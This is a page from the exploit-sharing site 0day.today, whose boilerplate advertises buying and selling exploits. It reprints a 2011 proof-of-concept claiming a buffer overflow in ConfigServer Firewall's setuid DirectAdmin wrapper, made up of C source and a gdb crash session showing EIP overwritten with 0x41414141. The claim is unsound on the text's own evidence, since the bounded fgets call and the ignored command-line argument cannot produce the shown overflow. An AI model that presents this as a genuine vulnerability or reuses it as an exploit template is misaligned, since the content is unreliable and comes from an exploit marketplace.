0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
CSF Firewall Buffer Overflow
############################################################################ # Exploit Title: CSF Firewall Buffer overflow p0c # DownLoaD : http://www.configserver.com/free/csf.tgz # Date: 2011-12-09 # Author: FoX HaCkEr # site : www.sec4ever.com # MaiL : Mkq@hotmail.com # Tested on: CentOS3/4 ############################################################################ ============================================================================== FiLe : CSF.c /* * Copyright 2006-2011, Way to the Web Limited * URL: http://www.configserver.com * Email: sales@waytotheweb.com */ #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <string.h> #include <pwd.h> main () { FILE *adminFile; uid_t ruid; char name[100]; struct passwd *pw; int admin = 0; ruid = getuid(); pw = getpwuid(ruid); adminFile=fopen ("/usr/local/directadmin/data/admin/admin.list","r"); while(fgets(name,100,adminFile) != NULL) { int end = strlen(name) - 1; if (end >= 0 && name[end] == '\n') name[end] = '\0'; //printf("Name [%s]\n", name); if (strcmp(pw->pw_name, name) == 0) admin = 1; } fclose(adminFile); if (admin == 1) { setuid(0); setgid(0); //setegid(0); //seteuid(0); execv("/usr/local/directadmin/plugins/csf/exec/da_csf.cgi", NULL); } else { printf("Permission denied [User:%s UID:%d]\n", pw->pw_name, ruid); } return 0; } =========================================================================== why buffer overflow ? Because char name[100]; fgets() If we add more than what would be happening? Buffer OverFlow ^_^ ============================================================================ (gdb) run `python -c 'print "\x41"*150'` Starting program: /root/csf `python -c 'print "\x41"*150'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0x0 0 ecx 0xb7fc54e0 -1208199968 edx 0xb7fc6360 -1208196256 ebx 0xb7fc4ff4 -1208201228 esp 0xbffff310 0xbffff310 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x41414141 0x41414141 eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) i r eip eip 0x41414141 0x41414141 (gdb) i r eip esp eip 0x41414141 0x41414141 esp 0xbffff310 0xbffff310 (gdb) ========================================================================= N0 ExpLoiT ScRipt KiiiD'z Gr33T'z : ALL My Friends .............. # 0day.today [2024-12-26] #